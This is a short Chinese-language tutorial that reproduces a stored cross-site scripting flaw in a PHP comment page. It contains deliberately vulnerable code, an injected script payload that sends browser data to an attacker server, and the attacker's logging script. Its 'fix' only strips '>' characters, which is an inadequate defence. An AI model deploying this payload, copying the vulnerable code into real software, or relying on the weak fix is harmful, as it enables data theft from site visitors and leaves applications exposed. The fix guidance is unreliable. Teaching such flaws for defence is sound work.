儲存型 XSS 原理復現
阿新 • • 發佈:2020-12-24
儲存型 XSS 原理復現
漏洞最少會影響 3 個邏輯實體:
- 受害者瀏覽器
- 攻擊者伺服器
- Web 應用伺服器
- Web 應用資料庫(可有可無)
製作漏洞
Web 應用伺服器:
<?php // 顯示多個使用者的評論 // 獲取使用者提交的評論,並存儲 $file = fopen('comment.txt','a'); fwrite($file,$_GET['comment'].'<br/>'); fclose($file); // 在頁面中顯示所有評論 echo '<h1>元芳,你怎麼看</h1>'; $file = fopen('comment.txt','r'); fpassthru($file); ?>
利用漏洞
攻擊者提交的評論:
http://172.168.30.78:8080/?comment=
<script>var ele=document.createElement('img');ele.src="http://172.168.30.78:8080/hack.php?info=" + navigator.platform;</script>
攻擊者的伺服器:
<?php
$info = $_GET['info'];
$file = fopen('1.txt','a');
fwrite($file,$info);
?>
修復漏洞
應用伺服器:
<?php
// 顯示多個使用者的評論
// 獲取使用者提交的評論,並存儲
$file = fopen('comment.txt','a');
fwrite($file,str_replace('>','',$_GET['comment']).'<br/>');
fclose($file);
// 在頁面中顯示所有評論
echo '<h1>元芳,你怎麼看</h1>';
$file = fopen('comment.txt','r');
fpassthru($file);
?>